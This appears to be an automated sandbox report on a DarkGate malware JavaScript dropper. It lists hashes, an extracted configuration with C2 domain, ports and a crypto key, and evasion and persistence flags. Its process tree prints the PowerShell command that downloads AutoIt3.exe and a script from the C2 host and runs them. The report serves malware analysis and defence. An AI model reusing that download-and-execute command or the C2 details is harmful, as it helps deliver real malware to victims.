Analysis
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max time kernel
146s -
max time network
173s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
01-11-2023 18:38
Static task
static1
Behavioral task
behavioral1
Sample
02112023_0238_gentle.js
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
02112023_0238_gentle.js
Resource
win10v2004-20231023-en
General
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Target
02112023_0238_gentle.js
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Size
135KB
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MD5
77ee5081c5c481378ed54009f53173c6
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SHA1
d70867e9e78247eebd54f54516ac8a046368d3f2
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SHA256
c953d07e2917511b5d9111da517ae28c3f4f07e84c1cfde09e1e69bb60299b0e
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SHA512
697421ef3ccdd66e1c94a2c388da6ee68e9d501ee841d2eb53254b4784715475057d2b05740e760cb6bdcfead10174101db9e5569f3cb44db5525d5291cbb9b0
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SSDEEP
1536:hZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0c:UT9U7hgaX6eerjqlI2IO6Mzqfpu
Malware Config
Extracted
darkgate
user_871236672
http://shsukadadyuikmmonk.com
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alternative_c2_port
8080
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anti_analysis
true
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anti_debug
true
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anti_vm
true
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c2_port
2351
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check_disk
true
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check_ram
true
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check_xeon
true
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crypter_au3
false
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crypter_dll
false
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crypter_rawstub
true
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crypto_key
WccksaEfoXLLtV
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internal_mutex
txtMut
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minimum_disk
50
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minimum_ram
6001
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ping_interval
4
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rootkit
true
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startup_persistence
true
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username
user_871236672
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 23 316 powershell.exe 31 316 powershell.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
pid Process 3644 AutoIt3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AutoIt3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AutoIt3.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 316 powershell.exe 316 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 316 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2344 wrote to memory of 316 2344 wscript.exe 89 PID 2344 wrote to memory of 316 2344 wscript.exe 89 PID 316 wrote to memory of 3644 316 powershell.exe 92 PID 316 wrote to memory of 3644 316 powershell.exe 92 PID 316 wrote to memory of 3644 316 powershell.exe 92
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\02112023_0238_gentle.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:316 -
C:\tepp\AutoIt3.exe"C:\tepp\AutoIt3.exe" krxeiths.au33⤵
- Executes dropped EXE
- Checks processor information in registry
PID:3644
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
495KB
MD51a145f64835ef788884984eaaabc41cf
SHA186adae24703e4cc02791f5473163d19af9ce5374
SHA256e6cb5e76a2cc9b9b60f9f6cdde65478675d03684a1973b673e1663ded9195c4d
SHA51297fe04c68eff006a9628d43d71c515d822a129f0930d581ee2d9a3fe5d1fcdde291871946a8df8233ee3614cf392c85a0fe371051cb06343b3e92368ee8354e3